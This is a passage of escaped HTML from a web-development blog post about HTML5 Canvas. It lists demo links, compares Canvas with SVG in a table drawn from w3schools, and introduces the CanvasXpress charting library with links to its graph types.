text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;http://www.canvasdemos.com/2009/10/09/html-5-canvas-animation/&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;http://www.queness.com/post/3885/8-simply-amazing-html5-canvas-and-javascript-animations&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Graphics&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;http://www.canvasdemos.com/2010/12/17/wikipedia-knowledge-map/&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;http://www.canvasdemos.com/2010/11/03/diagramo/&lt;br class=&quot;kix-line-break&quot; /&gt;&lt;br class=&quot;kix-line-break&quot; /&gt;I  recommend to try this applications in order to get a feel about what  the Canvas element is capable of. As you can see, there’s a lot to do  with it.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;Canvas vs SVG&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Scalable Vector Graphics&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;SVG&lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;) is a family of specifications of an&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/XML&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;XML&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;-based&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/File_format&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;file format&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; for two-dimensional&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Vector_graphics&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;vector graphics&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;, both static and dynamic (i.e.,&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Interactivity&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;interactive&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; or&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/SVG_animation&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;animated&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;). The SVG specification is an&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Open_standard&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;open standard&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; that has been under development by the&lt;/span&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/World_Wide_Web_Consortium&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;World Wide Web Consortium&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; (W3C) since 1999.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Is  common to see graphics made with SVG, for instance we can talk about  Google Chart Tools, a powerful API which uses this technology to create  graphics.&lt;br class=&quot;kix-line-break&quot; /&gt;Although Canvas and SVG are very different technologies, it’s a common error to think they’re alike.&lt;br class=&quot;kix-line-break&quot; /&gt;These are the main differences between them directly from &lt;/span&gt;&lt;a href=&quot;http://www.w3schools.com/html5/html5_canvas_vs_svg.asp&quot;&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;w3s&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;.&lt;/span&gt;&lt;br /&gt;&lt;h2 dir=&quot;ltr&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;SVG&lt;/span&gt;&lt;/h2&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;SVG is a language for describing 2D graphics in XML.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;SVG  is XML based, which means that every element is available within the  SVG DOM. You can attach JavaScript event handlers for an element.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;In  SVG, each drawn shape is remembered as an object. If attributes of an  SVG object are changed, the browser can automatically re-render the  shape.&lt;/span&gt;&lt;br /&gt;&lt;h2 dir=&quot;ltr&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Canvas&lt;/span&gt;&lt;/h2&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Canvas draws 2D graphics, on the fly (with a JavaScript).&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Canvas is rendered pixel by pixel.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;In  canvas, once the graphic is drawn, it is forgotten by the browser. If  its position should be changed, the entire scene needs to be redrawn,  including any objects that might have been covered by the graphic.&lt;/span&gt;&lt;br /&gt;&lt;hr /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;h2 dir=&quot;ltr&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: none; vertical-align: baseline;&quot;&gt;Comparison of Canvas and SVG&lt;/span&gt;&lt;/h2&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;The table below shows some important differences between canvas and SVG.&lt;/span&gt;  &lt;br /&gt;&lt;div dir=&quot;ltr&quot;&gt;&lt;table style=&quot;border-bottom: medium none; border-collapse: collapse; border-left: medium none; border-right: medium none; border-top: medium none;&quot;&gt;&lt;colgroup&gt;&lt;col width=&quot;312&quot;&gt;&lt;/col&gt;&lt;col width=&quot;312&quot;&gt;&lt;/col&gt;&lt;/colgroup&gt;&lt;tbody&gt;&lt;tr style=&quot;height: 0px;&quot;&gt;&lt;td style=&quot;border-bottom: #000000 1px solid; border-left: #000000 1px solid; border-right: #000000 1px solid; border-top: #000000 1px solid; padding-bottom: 7px; padding-left: 7px; padding-right: 7px; padding-top: 7px; vertical-align: top;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Canvas&lt;/span&gt;&lt;/td&gt;&lt;td style=&quot;border-bottom: #000000 1px solid; border-left: #000000 1px solid; border-right: #000000 1px solid; border-top: #000000 1px solid; padding-bottom: 7px; padding-left: 7px; padding-right: 7px; padding-top: 7px; vertical-align: top;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;SVG&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;height: 0px;&quot;&gt;&lt;td style=&quot;border-bottom: #000000 1px solid; border-left: #000000 1px solid; border-right: #000000 1px solid; border-top: #000000 1px solid; padding-bottom: 7px; padding-left: 7px; padding-right: 7px; padding-top: 7px; vertical-align: top;&quot;&gt;&lt;br /&gt;&lt;ul class=&quot;p2-UL&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Resolution dependent&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;No support for event handlers&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Poor text rendering capabilities&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;You can save the resulting image as .png or .jpg&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Best suited for graphic-intensive games where many objects are redrawn &amp;nbsp;&amp;nbsp;&amp;nbsp; frequently&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;td style=&quot;border-bottom: #000000 1px solid; border-left: #000000 1px solid; border-right: #000000 1px solid; border-top: #000000 1px solid; padding-bottom: 7px; padding-left: 7px; padding-right: 7px; padding-top: 7px; vertical-align: top;&quot;&gt;&lt;br /&gt;&lt;ul class=&quot;p2-UL&quot; style=&quot;margin-bottom: 0pt; margin-top: 0pt;&quot;&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Resolution independent&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Support for event handlers&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Best suited for applications with large rendering areas (Google Maps)&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Slow rendering if complex (anything that uses the DOM a lot will be slow)&lt;/span&gt; &lt;/li&gt;&lt;li style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; list-style-type: disc; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;Not suited for game applications&lt;/span&gt; &lt;/li&gt;&lt;/ul&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;CanvasXpress library&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 19px; font-style: normal; font-variant: normal; font-weight: bold; text-decoration: underline; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;CanvasXpress was created to have a generic way to display genomics data and it’s the core of a BMS systems biology platform.&lt;br class=&quot;kix-line-break&quot; /&gt;As  you may think, this library was created to display an specific type of  data, but luckily for us, it can be used to display any type of data in  an efficient, cross-browser way.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;CanvasXpress supports&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/bar.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;bar graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/line.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;line graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/barline.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;bar-line combination graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/boxplot.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;boxplots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/dotplot.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;dotplots&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/area.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;area graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/area.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;area-line combination graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/stacked.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;stacked graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/stacked.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;stacked-line combination graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/stacked.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;percentage-stacked graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/stacked.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;percentage-stacked-line combination graphs&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/heatmap.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;heatmaps&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a href=&quot;http://www.canvasxpress.org/heatmap.html&quot;&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-color: transparent; color: #1155cc; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: underline; vertical-align: baseline;&quot;&gt;heatmaps&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: transparent; color: black; font-family: arial; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; text-decoration: none; vertical-align: baseline;&quot;&gt;,&lt;/span&gt;&lt;a 